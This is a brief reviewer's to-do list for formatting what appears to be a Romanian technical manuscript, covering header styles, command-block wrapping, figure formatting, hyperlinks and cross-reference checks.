Reviewers todos: - get rid of other todos - format questions - check headers (some dont have styles or numbers) - change headers to give necesarry spacing - fix filenames, commands and addresses with z_text_comanda - fix fucked up wrapping in some z_command_8 blocks - if possible, review all English terms and apply z_text_italic - fix invisible images and format them all with z_figura, including description o also add space after description or space on the bottom of z_figura - remove hyperlinks from e-mail addresses and web links - fix nicio, niciun - update all dynamic fields (references, cross-references...) - de verificat NEAPARAT referintele!!!!!!

You might also like